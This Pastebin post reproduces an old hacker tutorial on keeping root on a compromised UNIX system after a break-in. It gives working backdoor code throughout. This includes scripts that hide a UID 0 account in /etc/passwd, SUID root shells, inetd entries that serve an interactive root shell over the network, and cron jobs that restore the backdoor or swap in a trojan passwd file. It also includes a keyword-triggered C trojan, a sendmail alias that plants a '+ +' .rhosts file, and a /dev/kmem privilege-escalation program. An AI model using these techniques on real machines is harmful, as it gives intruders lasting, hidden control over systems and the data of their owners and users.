vxpz Sep 19th, 2019 221 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
  2. The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
  3. permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
  4. After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
  5. privilege you have worked so hard to achieve....?
  7. This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
  8. From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
  9. wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
  10. system?
  11. This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
  12. ways into one.
  14. Beforehand
  16. Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
  17. now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
  18. format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
  19. robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
  20. you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
  21. nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
  23. The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
  24. skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
  25. admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
  26. to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
  27. looking for back doors.
  31. The Overt
  33. [1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
  34. flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
  35. prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
  37. #!/bin/csh
  38. # Inserts a UID 0 account into the middle of the passwd file.
  39. # There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
  40. #
  42. set linecount = `wc -l /etc/passwd`
  43. cd                                      # Do this at home.
  44. cp /etc/passwd ./temppass               # Safety first.
  45. echo passwd file has $linecount[1] lines.
  46. @ linecount[1] /= 2
  47. @ linecount[1] += 1                     # we only want 2 temp files
  48. echo Creating two files, $linecount[1] lines each \(or approximately that\).
  49. split -$linecount[1] ./temppass         # passwd string optional
  50. echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  51. cat ./xab >> ./xaa
  52. mv ./xaa /etc/passwd
  53. chmod 644 /etc/passwd                   # or whatever it was beforehand
  54. rm ./xa* ./temppass
  55. echo Done...
  57. NEVER, EVER, change the root password. The reasons are obvious.
  59. [2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
  60. passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
  61. field).
  63. [3] Leave an SUID root shell in /tmp.
  65. #!/bin/sh
  66. # Everyone's favorite...
  68. cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
  69. chmod 4755 /tmp/.evilnaughtyshell
  71. Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
  72. to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
  73. notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
  74. specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
  78. The Veiled
  80. [4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
  81. background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
  82. appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
  83. lines look like this:
  85. (1)     (2)     (3)     (4)     (5)     (6)             (7)
  86. ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
  87. talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd
  89. Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
  90. which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
  91. TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
  92. or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
  93. process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
  94. child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
  95. inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
  96. command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
  97. This is done with an 'internal' flag in fields (6) and (7).
  98. So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
  99. with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
  100. file, etc...
  101. For the insinuation-impaired, try this:
  103. Open the /etc/inetd.conf in an available editor. Find the line that reads:
  106.         daytime stream  tcp     nowait  root    internal
  108. and change it to:
  110.         daytime stream  tcp     nowait /bin/sh  sh -i.  
  112. You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
  113. restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
  114. to do this off peak hours).
  116. [5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
  117. simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
  118. /etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
  120. (1)       (2)/(3)          (4)
  121. smtp      25/tcp           mail    
  123. Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
  124. associated with the service. For instance, add this line to /etc/services:
  126.         evil    22/tcp          evil
  128. and this line to /etc/inetd.conf:
  130.         evil    stream  tcp     nowait  /bin/sh sh -i
  132. Restart inetd as before.
  134. Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
  135. they offer rentry from *any* account on *any* computer on the Internet.
  137. [6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
  138. crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
  139. backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
  140. several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
  141. It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
  142. or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
  143. entry has six fields:
  145. (1)     (2)     (3)     (4)     (5)     (6)
  146.  0       0       *       *       1       /usr/bin/updatedb      
  148. Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
  149. (0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
  150. simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
  151. /etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
  152. be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
  153. shady intentions). Add this line to /var/spool/crontab/root:
  155.         0       0       *       *       *       /usr/bin/trojancode
  157. This is the shell script:
  159. #!/bin/csh
  160. # Is our eviluser still on the system?  Let's make sure he is.
  163. set evilflag = (`grep eviluser /etc/passwd`)    
  166. if($#evilflag == 0) then                        # Is he there?
  168.         set linecount = `wc -l /etc/passwd`
  169.         cd                                      # Do this at home.
  170.         cp /etc/passwd ./temppass               # Safety first.
  171.         @ linecount[1] /= 2
  172.         @ linecount[1] += 1                     # we only want 2 temp files
  173.         split -$linecount[1] ./temppass         # passwd string optional
  174.         echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  175.         cat ./xab >> ./xaa
  176.         mv ./xaa /etc/passwd
  177.         chmod 644 /etc/passwd                   # or whatever it was beforehand
  178.         rm ./xa* ./temppass
  179.         echo Done...
  180. else
  181. endif  
  183. [7] Cron-based trojan II. For this, you need a copy of the
  184. /etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
  185. account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
  186. copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
  187. Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
  188. would be ok. Add this line to root's crontab file:
  191.         29      2       *       *       *       /bin/usr/sneakysneaky_passwd
  193. make sure this exists:
  195. #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
  197. and this is the simple shell script:
  199. #!/bin/csh
  200. # Install trojan /etc/passwd file for one minute
  203. cp /etc/passwd /etc/.temppass
  204. cp /var/spool/mail/.sneaky /etc/passwd
  205. sleep 60
  206. mv /etc/.temppass /etc/passwd
  208. [8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
  209. Make sure it runs as root. Name it something innocous. Hide it well.
  211. /* A little trojan to create an SUID root shell, if the proper argument is
  212. given.  C code, rather than shell to hide obvious it's effects. */
  213. /* */
  215. #include
  217. #define KEYWORD "industry3"
  218. #define BUFFERSIZE 10  
  220. int main(argc, argv)
  221. int argc;
  222. char *argv[];{
  224.         int i=0;
  226.         if(argv[1]){            /* we've got an argument, is it the keyword? */
  228.                 if(!(strcmp(KEYWORD,argv[1]))){
  230.                                 /* This is the trojan part. */
  231.                         system("cp /bin/csh /bin/.swp121");
  232.                         system("chown root /bin/.swp121");
  233.                         system("chmod 4755 /bin/.swp121");
  234.                 }
  235.         }
  236.                                 /* Put your possibly system specific trojan
  237.                                    messages here */
  238.                                 /* Let's look like we're doing something... */
  239.         printf("Sychronizing bitmap image records.");
  240.         /* system("ls -alR / >& /dev/null > /dev/null&"); */
  241.         for(;i<10;i++){
  242.                 fprintf(stderr,".");            
  243.                 sleep(1);
  244.         }
  245.         printf("\nDone.\n");
  246.         return(0);
  247. } /* End main */
  249. [9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
  250. users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
  252.  "decode: "|/usr/bin/uudecode"
  254. to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
  256. #! /bin/csh
  258. # Create our .rhosts file.  Note this will output to stdout.
  260. echo "+ +" > tmpfile
  261. /usr/bin/uuencode tmpfile /root/.rhosts
  263. Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
  264. .rhosts file. For a one liner (not faked, however) do this:
  266. %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail
  268. You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
  269. choosing. Many of the previous scripts and methods can be employed here.
  273. The Covert
  275. [10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
  276. The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
  277. case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
  278. general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
  279. are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
  280. Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
  282. get input;
  283. if input is special hardcoded flag, spawn evil trojan;
  284. else if input is valid, continue;
  285. else quit with error;
  286. ...
  288. Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
  292. The Esoteric
  294. [11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
  295. to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
  296. permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
  297. your current process, then spawn a csh, which will inherit this UID. The following program does just that.
  299. /* If /kmem is is readable and writable, this program will change the user's
  300. UID and GID to 0.  */
  301. /* This code originally appeared in "UNIX security:  A practical tutorial"
  302. with some modifications by */
  304. #include
  305. #include
  306. #include
  307. #include
  308. #include
  309. #include
  310. #include
  312. #define KEYWORD "nomenclature1"
  314. struct user userpage;
  315. long address(), userlocation;
  317. int main(argc, argv, envp)
  318. int argc;
  319. char *argv[], *envp[];{
  321.         int count, fd;
  322.         long where, lseek();
  324.         if(argv[1]){            /* we've got an argument, is it the keyword? */
  325.                 if(!(strcmp(KEYWORD,argv[1]))){
  326.                         fd=(open("/dev/kmem",O_RDWR);
  328.                         if(fd<0){
  329.                                 printf("Cannot read or write to /dev/kmem\n");
  330.                                 perror(argv);
  331.                                 exit(10);      
  332.                         }
  334.                         userlocation=address();
  335.                         where=(lseek(fd,userlocation,0);
  337.                         if(where!=userlocation){
  338.                                 printf("Cannot seek to user page\n");
  339.                                 perror(argv);
  340.                                 exit(20);
  341.                         }
  343.                         count=read(fd,&userpage,sizeof(struct user));
  345.                         if(count!=sizeof(struct user)){
  346.                                 printf("Cannot read user page\n");
  347.                                 perror(argv);
  348.                                 exit(30);
  349.                         }      
  351.                         printf("Current UID: %d\n",userpage.u_ruid);
  352.                         printf("Current GID: %d\n",userpage.g_ruid);
  354.                         userpage.u_ruid=0;
  355.                         userpage.u_rgid=0;
  357.                         where=lseek(fd,userlocation,0);
  359.                         if(where!=userlocation){        
  360.                                 printf("Cannot seek to user page\n");
  361.                                 perror(argv);
  362.                                 exit(40);
  363.                         }
  365.                         write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
  367.                         execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
  368.                 }
  369.         }
  371. } /* End main */
  373. #include
  374. #include
  375. #include
  377. #define LNULL ((LDFILE *)0)
  379. long address(){
  381.         LDFILE *object;
  382.         SYMENT symbol;
  383.         long idx=0;
  385.         object=ldopen("/unix",LNULL);
  387.         if(!object){
  388.                 fprintf(stderr,"Cannot open /unix.\n");
  389.                 exit(50);
  390.         }
  392.         for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
  393.                 if(!strcmp("_u",ldgetname(object,&symbol))){
  394.                         fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
  395.                         ldclose(object);
  396.                         return(symbol.n_value);
  397.                 }
  398.         }
  400.         fprintf(stderr,"Cannot read symbol table in /unix.\n");
  401.         exit(60);
  402. }
  404. [12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
  405. care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
  406. discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
  408. chmod 666 /dev/kmem
  409. sleep 300               # Nap for 5 minutes
  410. chmod 600 /dev/kmem     # Or whatever it was before
  411. ===================================================================================================================================\
  412. ᴠxᴘ
  413. #0652
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!